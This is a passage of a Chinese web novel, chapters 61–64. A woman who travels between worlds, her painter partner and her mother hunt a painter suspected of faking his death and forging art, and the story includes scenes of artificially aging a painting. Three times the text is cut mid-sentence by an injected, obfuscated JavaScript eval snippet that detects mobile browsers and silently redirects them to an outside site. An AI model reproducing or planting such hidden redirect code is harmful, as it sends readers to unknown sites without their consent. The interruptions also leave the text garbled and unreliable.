为了让自己的画作更加昂贵,顺便超越永远压他一头的祁筑庭,当年的林乃岳,选择了杀人假死。 61. 穿越的方式 林乃岳还活着? 这一句话如同石子投进湖水里激起风浪。徐箴言刷地看向林菀,眼里掩饰不了惊讶。而林珠莉砰地一声将杯子放到桌子上,刚要开口就被林菀打断。 “你先听我说。我和箴言最近发现有人制造林乃岳的伪画,通过刘经理之手售卖。”在冒出这不可思议的想法后,林菀反而镇定下来,“主要买家是商氏夫妇,你尽可跟Sam打听。这件事,他们已经全权交给我们来处理。” “不可能有伪画!我好歹曾是他的枕边人。他的画风,我了如指掌。刘经理找来的那些画我都看过,只能出自林乃岳之手。”林珠莉语气强硬,十分固执。暗地里,她并不希望林菀的揣测是真的。 “如此正说明他还活着,不是么?”林菀又举了加百列油画的例子,然后才说道,“你以前应该见过毛拉吧?他在帮我们研究如何制造有年代感的伪画,已经快成功了。” “箴言的画还有可能是被其他人拿走利用的。至于林乃岳,他绝不会放弃成功画家的名利。而且只要活着,便有日后超越祁筑庭的希望。何必走假死的险棋?”林珠莉不像林菀穿梭两个时空早有世界颠倒之感。基于林乃岳已经死亡多年的根深蒂固概念,她一时无法接受那个极度痛恨的狗东西还在哪里苟且偷生。 “如果他没希望超过祁筑庭呢?”徐箴言开口,语气平静。他想起毛拉曾经说过的话,“毛拉说,现存的伪画有林乃岳刚刚崭露头角时的风格,没有后期的熟练自然感。这样看来,恐怕当时他便江郎才尽,所以才想自杀做局。毕竟如今他再怎么画都赶不上巅峰时期的自己。” 这个思路似乎还能接受。林珠莉心头的海啸慢慢平息。她盯着沙发旁边的绿萝沉思,慢慢地微笑起来,又重新看向徐箴言,“你继续说。” “所以我怀疑他的营生只有三种,一,模仿自己早年画作;二,模仿年轻画家的作品;三,将二者结合,以年轻画家的作品作底,自己加以修饰再卖出去。” 林菀点点头,“刘经理做了十多年的基金会经理,他之前中饱私囊,恐怕不少金钱都送给林乃岳了。看岁数,林乃岳如今应该是快六十岁了。只是不知道他们有什么矛盾,让林乃岳动手杀了老同学。” 林珠莉一动不动地听着,良久才开口,“我会吩咐小秦必须请到祁筑庭。以林乃岳的性格,他一定会到场亲眼看他的老对手是怎么评价他的作品。正好方便瓮中捉鳖。” “不,不能等到开展那天,人太多。”林菀摇摇头,“既然秦经理请不到祁筑庭,那可以由您说请到他了,只不过对方不想凑热闹,所以要提前观展。这件事在大师班说出去就行。箴言丢画就是不久前在大师班。那里必定有林乃岳的耳目。我们不用真的请到祁筑庭,只需要到时候做足样子,看看有谁在展馆周围出没……他是否还活着,一试便知。” “这是个办法。”林珠莉转头又叮嘱徐箴言,“箴言,你那幅画一定要慢点画。”画得越快,徐箴言越危险。 “我知道,您放心。” 徐箴言话音刚落,屋子里突然啪一声,所有的灯都熄灭了。 “可能跳闸了,我出去看看。”他将手机电筒打开,起身往门口走。 而林菀则走到窗边,发现整栋楼都黑漆漆的。心里一动,她拿出手机搜查太阳活动。 “不用出去了,箴言。”她立即喊他,“是太阳活动引起了地磁暴,从两个小时之前开始的。”地磁暴导致断电。 她静静站在窗口,“预估没错的话,我今晚就要穿越去原本的世界了。不知道这边会过几天。总之这段时间内……妈,你切记不可轻举妄动。这件事情必须听我的。”林菀还记得涂淼当时面对庞涛时失智差点丢命。 林珠莉沉默几秒,才道:“行。” “去吧,我晚上到地铁站等你。”徐箴言走过来,摸摸她的头发,“这一次,我到车尾等你。”黑暗中,他盯着她的双眸,“你说的那个实验,我代替涂淼来做。” …… 第二天,上午十点。 “啊,终于周五了。”Maggie伸了个懒腰,将椅子滑过来,“Nora,下班喝酒去呗?” “我还有小提琴课。”林菀专心地处理着外包发过来的邮件,“你们去吧。” “你不会是真打算哪天上台演出吧?好长时间不参加我们饭局了。” 谭姿抱着文件夹大步从外头回来,顺手敲敲林菀的桌子,“准备一下,跟我出门。” “好的。”林菀起身。 她匆忙到洗手间补了个妆,回来拎着电脑,拿起外套,跟着谭姿出门。 电梯间没有其他人,墙壁上的悬挂式电视机在轮番播放珑亚几种最新款汽车。 “谭姐,我们今天是要去见谁?”林菀摁了电梯键。 “你猜。”姿脸上浮现微笑,“听说是你最想见的。我要跟他开会,你做下会议记录。” 林吾! 林菀猛地睁大眼睛。这时电梯门开了,这一瞬间她脑海里竟然迸发出无数思绪的火花,缠绕起来形成一行字——不能去。 林吾到底是徐箴言还是林乃岳的“替身”,这个问题就是薛定谔的猫。如果她迎来胜利,林吾就是徐箴言。如果她惨败,林吾就是林乃岳的人。目前没人知道最终结局,所以情况就跟箱子里的猫一样,不知死活。只有打开箱子才知道结果。可她在没有创造完全利己的条件之前,绝对不能开箱。否则绝对会引起蝴蝶效应。 “谭姐,”林菀回神,突然看向已经走进电梯的上司,“……我不能去。” “什么意思?”谭姿愕然。 “我不能去见林吾。”林菀脸色略有变化,眼神也十分复杂,“我有非常重要的个人原因。” “……”谭姿盯着她,没有吭声。 “要我去换人过来吗?真的很抱歉。” “不用,”谭姿挪开眼神,伸手摁关门键,语气淡淡,“程总会带人。” 待电梯门关闭,林菀独自站了半晌,才沉默地回到办公室。 领导一走,Maggie在跟几个同事嘻嘻哈哈地吃零食,突然瞅见林菀回来,顿时心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102878|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生古怪,“你怎么回来了?” 林菀慢慢地坐下,满心思沉浸在心事里,没有注意到她的问题。 这一天,直到下班时,谭姿再没找过林菀。 林菀下班后径直背着小提琴去培训班,上完课在街边小店简单吃了个面,最后将小提琴放回公司,乘坐午夜地铁返回梦境世界。待地铁在繁寓路停下,她果然看到徐箴言如约等待在站台上。 “箴言,上来!”林菀朝他大喊。 徐箴言听到她的声音,转过身来。他微微挑起眉头,似乎有微微的不可思议,但他一动不动。他的反应像极了那天的涂淼。 林菀不想浪费时间,立即下地铁一把拽住他就往车厢里拉。她很轻松地率先进了车厢,紧接着却被一股大力扯得直接扑通一声跪到地上。 她匆忙回头,发现徐箴言依旧站在站台上。他似乎看不到她,左右张望着,语气急促地呼唤她的名字。 林菀猛地爬起来,伸出胳膊一把抓住徐箴言的手,继续使劲朝车上拉。可是车门处仿佛有看不见的空气结界,将徐箴言阻挡在外面。 林菀使出浑身的力气,咬牙拼命拽。徐箴言也意识到在空不见人的车厢里,她在奋力往里拽他,于是也配合朝里面使劲。 终于,他的手指超过了车厢门口与站台的缝隙空间。可就在这一瞬间,林菀的右胳膊突然出现一条弯曲的血线,很快就像被割伤一样快速裂开,越裂越深。伤口从小臂延伸至胳膊肘,缓慢地朝上爬行,顿时鲜血直流。 地铁车厢诡异地快速震动起来,颠簸得人站不稳。电梯门出现一闪闪的红色指示灯,滴滴声也随之响起。 由于胳膊创伤严重,林菀再次失力跌落在地,头痛欲裂。似乎有什么红色的水雾模糊了她的眼睛。林菀艰难地再次爬起身,趁着地铁门关闭之前,奋力扑向站台上的徐箴言。 徐箴言将她稳稳地抱了个满怀,低头却发现怀中人已经支撑不住地往下坠。他立即将林菀打横抱了起来,注意到她额头在流血。 他迅速将林菀放在长椅上,检查她的身体,发现她右胳膊有一长条撕裂伤,额头和左小腿也出现同样的伤口,鲜血直流。 “我的天哪,怎么回事!”涂淼从车头那边奔过来,吓得脸色惨白。她出差回来,听说林菀又穿越了,便执意要来帮忙。可眼下看到林菀昏迷不醒的受伤模样,她吓得一时不知如何是好。 “冷静!”徐箴言毫不犹豫地扯下领带给林菀包扎胳膊上的伤口。由于在部队受过培训,他手法娴熟,“我的手机密码是8534,你打开通讯录,给一个叫‘孙医生’的人打电话,叫他过来处理外伤。” “好。”涂淼心慌意乱,连忙捡起丢在地上的手机。 “打完电话,你再去找地铁的工作人员,跟他们要急救箱。没有的话,就从A口出去,右边便利店买酒精纱布。还没有的话,你就在A口等着,孙医生可能会从那边过来。我给她先预处理伤口,然后把她抱上去。” “好的。”涂淼颤抖着,将手机贴近耳朵,她只听到自己剧烈的心跳。 62. 大师班作画 林菀睁开眼时,发现窗外太阳高升。 “醒了?”徐箴言在床边坐了一夜,腿有些麻。他缓了一下,起身倒水给她喝。 涂淼听到声音便咚咚咚跑进来,昨天的残妆还未卸去,显得脸色斑驳而憔悴。“你感觉怎么样?” 林菀瞧着自己胳膊上的纱布,慢慢想起昨晚的事情,“昨天晚上……” “我是不记得了。”徐箴言在床边坐下来,他的脸色也不太好,但足够镇定,“只记得你从地铁车厢跑下来时已经受伤。之前发生了什么,完全没有印象。你还记得吗?”就跟曾经的涂淼一样,他彻底失去了这短短一分钟的记忆。 林菀后脑勺隐隐作痛,模模糊糊地想起昨晚,她在试图将徐箴言拉进车厢时受伤。可是她只是摔了几下而已,怎么会有这样严重的伤口?有问题,大有问题。之前尝试别的渠道从来没有这样过。有问题就说明有希望。或许能上车的话,午夜地铁真的会把大家带去另外一个世界。她必须继续尝试。 “我想起来了……”林菀慢慢地说,“昨天赶地铁时来不及,我急匆匆跑下站台时一不小心脚底踩空,直接滚下来了,还撞到自动售货机。当时就觉得胳膊痛,可也没顾上。” “下次小心点。”涂淼悬着的心落下来,又忍不住埋怨几句,“伤成这样子,我们多担心。” 徐箴言看着林菀,轻轻地垂眸,心底对林菀的话打了个疑问,但面上没表现出来。“胳膊上缝了两针,小腿和头上的伤还好。现在疼不疼?” 林菀摇摇头,“我以后一定注意。”她想把这事儿糊弄过去,便又说道,“我们今天是不是要去大师班跟我妈碰头?” “对,但我觉得你在家休息比较好。”徐箴言说,“而且麦柯打电话来说,乐团要开始准备合练了。” 林菀皱起眉头,很是不自然,“我还是得先去大师班,再回来继续练习。” 涂淼立即说道:“你干啥这么犟啊,要你休息就休息。” 徐箴言见没法说服,便起身摸了摸林菀的额头,看她有没有发烧,然后道:“涂淼,你在这儿陪她吧,我去做早饭。” …… 吃好早饭,徐箴言率先去了大师班。 重新修葺一新的二层白色小楼依旧静静伫立。一楼还有不少学徒在练习绘画。 徐箴言跟认识的朋友打招呼后,推门进小画室,发现周城竟然在里面。他头上裹着纱布,在指挥两个工人搬运油画。 “上午好,今天怎么过来了?恢复得可好?”徐箴言放下包。 “昨天出院。忙啊,我来拿以前的画去米卡艺术中心。”周城笑着指指墙角尚未完成的茶园女子油画,“听说这是你画的?精细度都快赶上我了。” “过奖。”徐箴言瞧着工人小心地打包油画,“这次林乃岳画展上,你打算展出几幅画?” “五幅画。”周城琢磨片刻,拍拍徐箴言的肩膀,“你若有意向的话,我去跟秦经理说说,把你的画也加上——” “这就不用了,谢谢。我的画送过去是拉低画展档次。你的才是锦上添花。”徐箴言戴起围裙,卷起袖子,见到工人搬画转身不方便就搭把手。 这时,大门被推开。涂淼率先进来,后面跟着林菀。 “哟,这么热闹!”涂淼回头对林菀说,“你还说这边没几个人呢。瞧,周城哥不就在。” “上午好,菀菀这是怎么回事?”周城看到林菀额头贴着大号创口贴,便指指了自己头上的纱布,“跟我成难兄难妹了。” “哎,一不小心摔了一跤。”林菀穿着长袖衬衣,没露出胳膊上的伤,“你好些了吗?” “过两天就拆线。你来找谁?” “我妈说她在这儿,有事找我。我来早了,她还没来。”林菀一笑。 这时,秦经理从门后探出头来,“周画家,你得抓紧时间——”他见到满屋子人,不觉一愣,“各位好。” “不好意思。车在大门口是吧?”周城抱歉地笑笑,带着工人离开,回头道,“你们聊,我去装车。” 秦经理没走,注意到徐箴言跟前画架上的油画,忍不住走过去仔细打量。他似乎是第一次见到这幅画。“徐画家速度很快啊。咱们上次聊完还没多少天,都快画完了?” “还差点。”徐箴言熟练地调着颜料。 秦经理左看右看,朝林菀说道,“果然是林小姐的背影,跟那天在展馆前小茶园里的穿着一模一样。” “您记性真好。” “我不到五十,如今还算青年。”秦经理开了个玩笑,转身要出门,“对了,最近新进了一批颜料,我喊人给每个画室分分。徐画家,你还需要什么颜料?” “这些够用了,谢谢。” “秦经理,您看到我妈了吗?”林菀突然问道,“她说这房子修好后还没来看过,今天来看看。” 说曹操,曹操到。林珠莉推开画室的门,径直道:“小秦,你去给周城帮忙。他在大门外忙活呢,满头是汗,伤还没好。” “好的,好的。”秦经理连忙出门。 “对了,祁筑庭那边,我搞定了。你不用再跟那边联系。”林珠莉仿佛骤然想起来似的叫住他。她声音不大,但对面画室门口几个人也闻声看过来。 “太好了!到时候出出新闻稿,绝对会吸引更多人来看。”秦经理面上一喜,可又有些汗颜,“抱歉啊林律师,这事儿我没办好,劳驾您出面。” “没事。你吩咐下去,叫他们赶紧把画都挂好。祁筑庭不好热闹,要求提前观展。” 秦经理闻言皱皱眉,面露难堪之色,“这恐怕有点难。还得专门给他一个人开个场子?会惹人闲话吧。” “人家现在做的瓷器都是国礼,当然派头大。”林珠莉说,“我们也是想借人家名气的东风,也不好拂了面子。你尽快办好事,我跟那边定下时间就跟你说。” “好的。”秦经理只能关门出去。 林珠莉从窗户里看着他的背影消失在走廊尽头,才转身瞪了林菀一眼,“走路注意脚下。把额头都嗑破了,好歹没破相。”她早就收到林菀的微信消息,说摔跤把额头擦伤了。 林菀不好意思地笑笑,没有顶嘴。 “涂淼,你跟我出去一下吧。”林珠莉朝涂淼招招手,“我给你介绍介绍大师班的情况。”她的意图在于光明正大地将大师班的边边角角都“巡逻”一遍。 “哦。”涂淼看了林菀一眼,放下手里的颜料。她在给徐箴言帮忙。 待二人出去后,林菀探出窗外看了看,回头告诉正在检查屋里有没有监控或者窃听器的徐箴言,“外面没人。” “好。”徐箴言迅速打开自己的包,将一盒普通天然云母粉拿出来放到桌上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102879|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 扭开盖子,抖落一些,装作使用过的样子。然后他又拿了一盒莹莹闪光的人工合成云母粉拿出来。云母粉经常用作化妆品里的珠光颜料。徐箴言打算将它加进白色颜料里画裙子,这样在特定光照角度下就有微微的珠光闪烁感。 历史上,使用云母粉的油画比较少,而且就算用的话,一般使用天然云母粉。但徐箴言拿出来的是用近几年新技术合成的超细云母粉。他迅速调好颜色,开始画裙摆——如果将来需要对这幅画的颜料做检测,那么人工云母粉就是证明它年代的证据之一。 同一时间,画室外,林珠莉带着涂淼,目送周城和秦文翰乘坐的小货车远去。 “你跟林菀玩得好,她的伤真是在地铁站摔的?”林珠莉突然问。 涂淼一向有点怵林珠莉,因此忙不迭回答:“是的,我远远地看到她从车厢出来,当时就已经受伤了。” 林珠莉嗯了一声,“以前都是你在地铁站等她?挺辛苦吧?” 涂淼一听觉得这个话题有点危险,顿时犹疑起来,“呃——” “她在两个时空来回,我都知道了。还说要把我们都带过去。你不必瞒什么。”林珠莉依旧望着繁华的街头。林菀早就告诉她,自己穿越受太阳风暴影响,不可能一直来回穿梭。而且换一个世界,大家会更安全地活下去。林珠莉无所畏惧,她希望能跟女儿一直相处下去,也跃跃欲试于新的时空,新的挑战。 “哦,是您跟箴言过去,我不去。”涂淼利落地摇头。 林珠莉有些不相信,“你不去?” “我现在挺好的,不管发生什么事情我都不想放弃。”涂淼思考数秒,补充道,“以前过得太辛苦,我坚决不再来一遍了。” “孩子,人生不是到三十岁就停止了。人生是长跑,你需要跨过一个又一个山峰,蹚过一条又一条河。没有人能守成不变。就算你不会变,环境也会变。”林珠莉慢慢地说道,“我当然尊重你想要留下来的决定。但是我也想提醒一下。你如今事业有成,十分优秀。但这应该只是你的目标之一。世界这么大,你还可以完成更多的梦想,体验更精彩的人生。你都能白手起家做到如今的成绩,还怕做不成什么?”所以,林珠莉并不眷恋于眼下作为律师的成功。她大可以再换一种生活,享受人生。 涂淼一瞬不瞬地盯着这位比她年长快三十岁,但依旧神采飞扬的女性前辈,下意识握紧了手指。林珠莉的话就像一股劲风,吹开了她用于自我欣赏,大门紧闭的华丽房子当中的一扇窗户。那窗外绿草茵茵,又是另一番景色。 一刻钟后,回到小画室。 涂淼看到林菀站在画架边全神贯注地看徐箴言画画,背影清丽,神情认真。涂淼不禁莞尔笑了一下。 昨晚林菀受伤把她吓坏了。如此看,她真的能生活在一个没有林菀的世界么?而且……总感觉林珠莉说得很对呢。她不应该给自己的人生设限。就算再辛苦一次,也是全新的体验。 涂淼走过去,微微倾身在林菀耳边说:“告诉你个秘密——我想通了,你也带上我去另一个世界吧。” 林菀刷地转身,满脸惊喜,“真的?!” “嗯!”涂淼坚定地点头。 林菀高兴地抱住她,开心得哈哈笑起来。 她俩背后,徐箴言慢慢放下画笔,神色里含着一丝难以说清的情绪。 …… 63. 莱音交响乐团 莱音交响乐团后门口,绿草如茵,梧桐成荫,典雅的喷泉水花反射着太阳光芒,路上有鸽子在啄来啄去,丝毫不怕人。 “记住,你走在我前面。遇到人,你必须先打招呼。”林菀下车,再次对麦柯耳提面命。 “哦,”麦柯有点丈二和尚摸不着头脑,“那咱们先去哪儿?” “先去看厅里的乐团成员介绍,然后去我的办公室。”林菀吩咐。 麦柯觉得这个要求有点奇怪,但还是照做,带路往前门的方向走。 交响乐团所在的建筑群很是辉宏大气,且分成前后两个部分,前部是音乐厅、练习厅等等,直面正门,主要方便观众进出。而后部则是各种职能部门,工作人员一般从后门进出。 到了贴着乐团成员照片的前厅,林菀迅速又仔细地打量每个同事的面孔,企图记住他们所有人的模样。麦柯等在旁边,揉揉眼睛,忍不住打了个哈欠。 “Hi, Nora. Long time no see.”一个高鼻深目蓝眼睛的高加索人端着一杯咖啡走过来打招呼。他穿着一身熨帖的西装,香水味很浓。 林菀被“Nora”这个英文名震了一下,迅速回神,朝花名墙瞥了眼,找到“驻团外籍艺术家”一栏,然后朝对方伸出手,“Morning, Nick.”他是俄罗斯籍大提琴家尼古拉斯·卡拉切夫。 卡拉切夫和林菀寒暄了几句,转身离开去练习厅。 麦柯古怪地看看卡拉切夫的背影,又看着林菀,“姐姐,你今儿个怎么喊他Nick?以前都是喊Mr. Kalachev。” “……一时没注意。”林菀扭头继续看照片。她失策了,不过私下出错总比在会议上出错好。“待会再看到谁,在人家开口前,你就得主动打招呼,知道吗?” “好的。”麦柯点头。 接下来的时间里,他果然很主动,见到人就先开口喊,几个上了年纪的姐姐都说好久不见,麦柯嘴甜不少。 林菀如此一路过关斩将,直到坐进会议室里。她一边回着徐箴言的消息,一边注意到进来的同事们也纷纷落座。大家绕着椭圆长桌而坐,每个乐器部的负责人都坐在第一排,大都讨论着音乐上的问题。 “林首席,休假回来怎么还清瘦了。”一个长发男人坐在她对面,“日喀则好玩吗?” “挺不错,就是得注意高反。安总监想去玩?”林菀问。这个长发男人应该是音乐总监。 “这种地方就应该像你这样年轻时去,岁数一上来就得担心身体了,尤其是咱们这行,动不动伤病。”安总监靠到椅背上,喝了一口保温杯里的枸杞茶,“我去昆明都高反,别提西藏。想去而不得呐。” 坐在林菀身侧,穿着牛仔裤,将亚麻衬衫卷到胳膊肘的中年女性故意挑了挑眉,“安总监锻炼锻炼身体,或许还能再攀个高峰。” “指挥大人说笑了。”安总监笑着抱拳,夸张地学古人敬了个礼。他身后坐着的几个小姑娘也都咯咯地笑,清楚安总监脾气好,不会生气。 慢慢的,人都到齐了。小提琴部的各位在林菀身后落座时,都会欠身跟她问好。 最后,团长拿着厚厚的会议资料,拎着金丝边眼镜走进来。她穿着阔腿西装裤,配简单的白衬衫,碎发齐肩,虽然快五十岁,但体态轻盈,一双挑眉显得气质凌厉,眼睛炯炯有神。她的模样让林菀想起了谭姿。但谭姿的眉目要温婉一些。 “不浪费大家时间,尽快说完结束会议。首先,关于下周的合练。”团长一个眼神示意,秘书开始做会议记录。 会议敲定了具体的合练时间,然后二次确认了接下来各地演出安排、人员出差、后勤布置情况。 “小提琴一组二组,有问题吗?”团长看向林菀,“林首席?” 林菀朝后看了看组员,没有人吭声,便回头说道:“没问题。” “好,大提琴组?”团长换了英语,“Mr. Kalachev?” …… 会议结束后,林菀将自己组的人都召集到办公室,又开了一个小会。她已经慢慢熟练起来,照着以前留下的准备详单,跟大家再次过了一遍需要注意的地方。不用多提点,大家都为即将到来的演出而跃跃欲试。 待下属离开,她看向窗外的翠竹,心里莫名地轻快。虽然是第一次来交响乐团,可是她已经喜欢上这里,所有人都有条不紊,做事井然有序。大家齐心协力为热爱的音乐而努力着。她甚至有点后悔以前对这个地方避之不及。 而另一边,拉里艺术画廊,二楼的工作室。 徐箴言和毛拉都戴着围裙,可袖子裤脚还是染得五颜六色,连头发也沾着白色的粉尘。 毛拉忍不住用脏兮兮的手擦了把额头上的汗,盯着画架上颜料脱落的油画,转身在黑板上将“空气加热吹风器”几字划去,“OK,第四十三次试验失败。” 徐箴言蹲下来,捻起地上的细碎颜料,“我怀疑是莱城空气太潮湿了。油画白天吹干,晚上返潮,反复一干一湿,导致画布一胀一缩,循环往复,自然会掉颜料。”他抬头看向墙角的大家伙,“就靠这个了,我觉得能成。” 因为单纯用烘干机和烤箱都达不到理想的效果,所以毛拉和徐箴言一起手工制作了一个底层温度可以达到四百度的特殊烤箱。普通的油画彻底干透需要半年甚至一个月,但烘烤可以让颜料迅速干透。 毛拉看了看时间,“今天应该可以拿出来了。” “试试吧。”徐箴言拔掉自制烤箱的插头,将烤箱门打开,里头只有一层烤架,放着徐箴言之前练手画的一副油画,烤架上下空间很足,都超过十公分的高度。在底层,放着一个碟子,碟子上撒了很多香烟叶。 “怎么有香烟?”毛拉记得自己把画放进去时可没有这个。 “我昨天放进去的。”徐箴言戴上手套,将油画取出来。果然油画已经带了一层烟熏火燎的味道,仿佛在酒吧或者餐厅挂了很多年。 “哎呦!”毛拉眼睛一亮,他闻到味儿就知道这幅画从画质上绝对具备了陈年老画的模样,再一看仔细看画面,果然如此,然而等徐箴言将画翻过来时,他眼里的光又暗淡下去,紧接着摇摇头,叹了口气。 油画背面,由于烘烤多日,画布已经变形,凹凸不平。 徐箴言微微皱起眉头,思考半晌,抚摸着干燥的画布。“或许我们可以试试——” 这一次,两人异口同声:“熨斗?” 毛拉迅速跑去一楼,拿来他老婆熨衣服的熨斗。紧接着,徐箴言将画反扣在桌上摆平,往画布上撒了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16102880|179816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点水,开始小心翼翼地熨烫。 毛拉在旁边观看,突然嘶了一声,再次转身下楼,回来时手里多了一捧从犄角旮旯里收集来的灰尘,还带大颗粒的脏兮兮毛絮。 徐箴言将画熨平,拎起来对着阳光一看,发现这画除了背部稍有湿润,与商氏家中的加百列在陈旧程度上已经毫无二致。连续多日工作终于迎来难得的成果,他不禁露出笑容。 “等等。”毛拉将那些灰尘抖落进画框里,拿着一张银行卡,将这些灰尘摁到底。这样从画的正面抚摸,就能在边缘感受到经年灰尘的存在。“太棒了!”他喜滋滋地团团转,“等画布晒干——我敢打赌,你拿去拍卖行都不会被专家认出来是今年的画,这妥妥的百年历史老画!” “确实相当完美!”徐箴言忍不住夸赞。此刻他感觉肩头多日的担子终于卸下来,迎来难得的轻松感。他后退一步,再次欣赏起油画,摸出手机打算告诉林菀这个喜讯。 毛拉哈哈大笑起来,“我那颗糖呢?咱的赌约可得兑现了啊。” “肯定的。”徐箴言闻言走到门口拎下挂在那里的包,打算找之前那颗牛奶糖,结果瞧见大门被推开,林菀跑了进来。 “我在这儿。”徐箴言从门后伸出胳膊一把捞住她的腰,将她拽回来。既然毛拉猜到,他也就不遮掩什么了。 “喜事啊,大喜事!”毛拉迫不及待地迎过来,“林小姐,那事儿办成了!我们已经找到办法制作老画!” “真的?太棒了。”林菀面上一喜,可这喜悦总是显得不自然,隐藏着隐隐约约的不安。 “怎么了?”徐箴言注意到了。 毛拉很有眼力见,立即拽下围裙,“我下去端茶。” 待毛拉离开,林菀才忧心忡忡地说道:“大师班又失窃,你的那副画被偷走了。这事儿是昨晚上发生的,秦经理刚好在那边整理库房,结果被打晕了。要不是今天上午被保安发现,否则他就会因为自己的呕吐物窒息而死。” 林菀关切地看着徐箴言,伸手摸摸他的脸庞,以此安慰他,“我妈妈正在那边看监控,希望能找到点头绪。但是——接下来你就危险了。” 她顿了一下,“我看了天文新闻,太阳表面出现巨大黑子,几天后就会面向地球释放高能量。这不是上次一栋楼两栋楼停电的问题,是整个电网可能大面积瘫痪——可是对我来说,这是极好的机会。以前试了很多方法,都没有穿越反应。不过,上次拉你进地铁车厢,就有反应。我确信那就是带你们穿越的方法。所以等下一次有机会,我们立刻走掉,好不好?我会跟我妈和涂淼也说——” “不行。”徐箴言毫不犹豫地拒绝。 林菀愣住了。 “在那个世界,也有人画茶园女子油画。如果他是穿越过去的凶手……”徐箴言喉头滚动,态度认真,语气不容置疑,“我必须在这边将他解决,你在那边才没有后顾之忧。” 林菀心下一紧,诧异又难过地望着自己的爱人,在他眼里找不到任何留给自己反驳的余地。 徐箴言将她的手拿下来,抚摸着她指尖因为勤奋练琴而形成的茧子,低头轻轻吻了一下,“而且,在那个世界没有实现的梦想,林首席,你要在这个世界实现。”他会守护她的梦想。 林菀的演出,指日可待。 64. 秦经理,是林乃岳? 前往大师班的路上,车辆排队成长龙,堵得纹丝不动。徐箴言查看导航地图,发现这条路从头到尾都红着。 林菀虽焦虑,但也没有办法。她将手机递给徐箴言,“新照片来了,是从监控视频里发现的。” 那是林珠莉刚刚发来的一张照片,翻拍保安室监控显示器,图像上是一个穿着橙色制服的环卫工推着收垃圾的三轮车从后门处经过。三轮车被各种东西塞得满满当当,看上去都是大师班学徒丢弃的各种工具颜料包装纸。可底层有什么,谁也不知道。这辆车刚好能平放进一幅中等大小的画,比如那幅茶园女子油画。 而这个环卫工,看瘦削的身形和光秃秃的头顶,估计有六十岁上下。 “这身制服太大了,他的袖口和裤脚都挽了好几圈——这明显就不是他的衣服。”林菀分析说。 “林乃岳家族有男性秃头史吗?”徐箴言问。 林菀立刻想起了她名义上的二叔,也就是林乃岳的亲弟弟,四十岁不到就开始谢顶。“有!” 这时,林珠莉又发了几张照片过来,是大师班外墙上的监控摄像拍摄内容,显示这个早上四五点在此出没的环卫工推着车朝东边的大路走去了,那是去展馆的方向。 东边大路……林菀飞速思索着,突然精神一振,说道:“咱们直走去展馆。说不定被偷的画在展馆附近!” “你这么肯定?” “最危险的地方就是最安全的地方。他肯定觉得我们不会去展馆那里调查。而且他穿着环卫工的衣服,到哪儿去都不会引人注意。”林菀说着就给林珠莉发信息,让她来展馆汇合。 等到过了十字路口,愈加靠近艺术基地,徐箴言才发现今天道路如此拥堵的原因——基地里,有一个奢侈品牌艺术馆开幕,请了好几个明星代言人来站台。不少粉丝都前来围观,都扛着大大小小的横幅和灯牌。 好在他们到达基地时,活动结束,堵车情况已经开始缓解。而米卡艺术中心所在的大街虽然不堵车,但林菀一下车就看到不远处的广场上,行人比以往多了很多。而路边也有好几个环卫工拎着簸箕和长杆钳子到处走着拾垃圾,不远处还停着两辆环卫推车,两个环卫工靠着车喝水。 徐箴言及时拉住想要过去的林菀,“你别去。” 林菀疑惑转身。 徐箴言担心她的安全,不想让她直面砸晕秦经理的凶手,但又不好明说,“我去问问,先打探消息。你去展馆里看看监控,这个最要紧,不能弄错了。” “好的。那我们在一楼展厅汇合。” 林菀便往艺术中心走去。她满心都是眼下的事情,没料到周围追星的粉丝还未散去,很快身后便传来不大不小的讨论声。 “哎,那个女生是明星吗?好漂亮啊,我好像在哪儿见过。” “我的天哪,林菀!她是小提琴家!” 林菀一听到这些议论,心下一紧,立即加快脚步,头也不回地推玻璃门,进了米卡艺术中心。 奇怪的是,她竟然在门口没有看到保安。林菀皱起眉头,转身去总控室。 总控室里,就只有一个年纪尚小的保安将腿翘在屏幕墙前的桌子上,一晃一晃地打手机游戏。一见到有人推门进来,他差点吓得掉下椅子,连忙站起来,脸都紧张得涨红了。“林、林小姐好。” “你好,”林菀看着屏幕上的实时监控,又问道,“这儿怎么就你一个人?连侧门都没有保安。” “他们都去二楼帮忙了。听说有个老画家很快要来参观,秦经理就提前挂画儿呢……缺人手,就都在二楼忙活,也是顺便给那些贵重的画站岗。” “那也不能连一楼侧门都没有保安啊。” “我们这里很安全的。而且一楼就留了正大门开着,有一个大哥看着呢。侧门明明已经关上了……我去检查一下。”小保安从门后取下一串钥匙。 